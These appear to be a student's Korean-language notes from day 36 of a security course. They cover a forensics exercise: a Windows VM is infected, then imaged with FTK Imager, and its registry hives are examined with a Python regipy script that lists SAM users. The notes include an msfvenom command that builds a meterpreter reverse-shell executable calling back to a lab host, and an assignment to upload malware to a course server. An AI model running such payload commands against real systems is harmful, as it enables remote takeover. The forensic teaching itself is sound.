36일차

●36일차(20250265036.php)
케이스 3개까지만 만들어짐
>기존 케이스를 삭제하고 만들거임
> autopsy(무료 포렌식 프로그램)

#실습(포렌식 절차)
1. 상황
관리자 실수로 악성코드가 침투된 경우는?
악성코드 다운 받은후 퇴근(컴퓨터 끔)

2. 악성코드 침투
cd /home/kali/public_html
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.201 -b -f exe -o msh.exe

systemctl start apache2

stManager에서 192.168.0.201/msh.exe
> 다운로드 받아짐
> 컴퓨터를 끄고 Exterro에 들어가자

3. Exterro
0) stManager의 해시값은?
Exterro_FTK_imager 다운로드
add evidence item
image 파일
> 하드디스크 vmdk or vdi
> stManager 하드디스크 가져오자
> 하드디스크 클릭후 verify image > 해시값이 나옴

MD5 해시값: 98e8eb2ac4dfa5b0ffe03ced3bddd808
SHA1 해시값: bd0febb6accea722fe15af20a8a619b11a29ae60

+) 해시값을 읽을때 읽는 방법
2: 둘 e: 에코
5: 다섯 0: 영(사선으로 그어놓음) O: 오

1) 컴퓨터 부팅 시간은 언제
리눅스는 로그위주로 분석함
윈도우는 이벤트,레지스트리,약간의 로그를 안다면 분석가능
> 대부분 이벤트 레지스트리로 분석 가능

windows > system32 > config
5개의 레지스트리 파일
SAM > security account manager > 계정정보가 나옴
SECURITY
SOFTWARE
SYSTEM
DEFAULT

root > users > manager > downloads > msh.exe

오른쪽 마우스 export file
> 5개의 레지스트리 파일과 악성코드를 빼내옴
> 근데 볼수가 없음

SAM 파일만 한번 봐보자(수동으로)
python으로 Forensic.py를 만듦
+) 아나콘다는 파이썬 가상환경 프로그램이다
+) 다양한 파이썬 버전을 가상환경을 만들어서 확인할 수 있음)

+) OSF
> Win7_Manager6-disk001:\Part1\Windows\System32\config
> SAM 파일에 오른쪽 마우스 클릭
> open with > registry viewer
> sam 아래에 있는 디렉토리와 유저들을 볼 수 있다

2) 진짜 사용자는?
3) 무슨 사이트에 접속했나
4) 무슨 파일을 받았나
5) 파일을 실행했나

#포렌식
하드디스크를 복제해서 분석한다 > 원본은 안씀
실제 환경처럼 보려고 하드디스크를 직접 연결하면 안된다
> 해시값이 바뀌어 포렌식의 기본인 무결성이 사라진다 > 증거가 되지 않음

#가상환경 만들기
anaconda power shell prompt
desktop/py 아래에
conda create -n py27 python=2.7
conda create -n py38 python=3.8
> 3.8 깔아줌

conda env list
> 다운로드 됐는지 보여줌

conda activate py27
conda activate py38
> (base)가 (py38)

conda env remove -n py27
> 삭제방법

> 나는 IDLE이 버전에 맞아서 아나콘다로 안했음

#Forenisc.py
SAM 에서 디렉토리를 타고 내려가 유저까지 알려주는 코드 만들기

import regipy

class Forensic:
    pass

def main(indent = 0):
    sam_path = r'C:\Users\PC1\Desktop\export\SAM'
    
    print("start program")
    
    hive = regipy.RegistryHive(sam_path)
       
    root_key = hive.get_key('SAM')
    print(root_key.name)
    domains_key = root_key.get_subkey('Domains')
    print(" " * (indent +2) + domains_key.name)
    account_key = domains_key.get_subkey('Account')
    print(" " * (indent +4) + account_key.name)
    users_key = account_key.get_subkey('Users')
    print(" " * (indent +6) + users_key.name)
    names_key = users_key.get_subkey('Names')
    
    for user in names_key.iter_subkeys():
      print(" " * (indent +8) + user.name)


if __name__=="__main__":
    main()


#미션
스위치 버튼 2로 변경후
http://125.246.95.253으로 접속
칼리 활성화 후 서버에 각 조 별로 악성코드 만들어서 올리기
1조: 1.exe

+) kali에서 내부망의 여러 서버에 들어가는법
1. 호스트 st, backup 추가


2. 방화벽 nat 정책 수정

> 1:65535
> 보낼때 내 포트는 자동으로 지정되는 포트이기 때문에 넓게 지정하는것

3. 접속
ssh -p 22001 master@125.246.95.253
> 3대서버로 접속
ssh -p 22002 master@125.246.95.253
> 백업 서버로 접속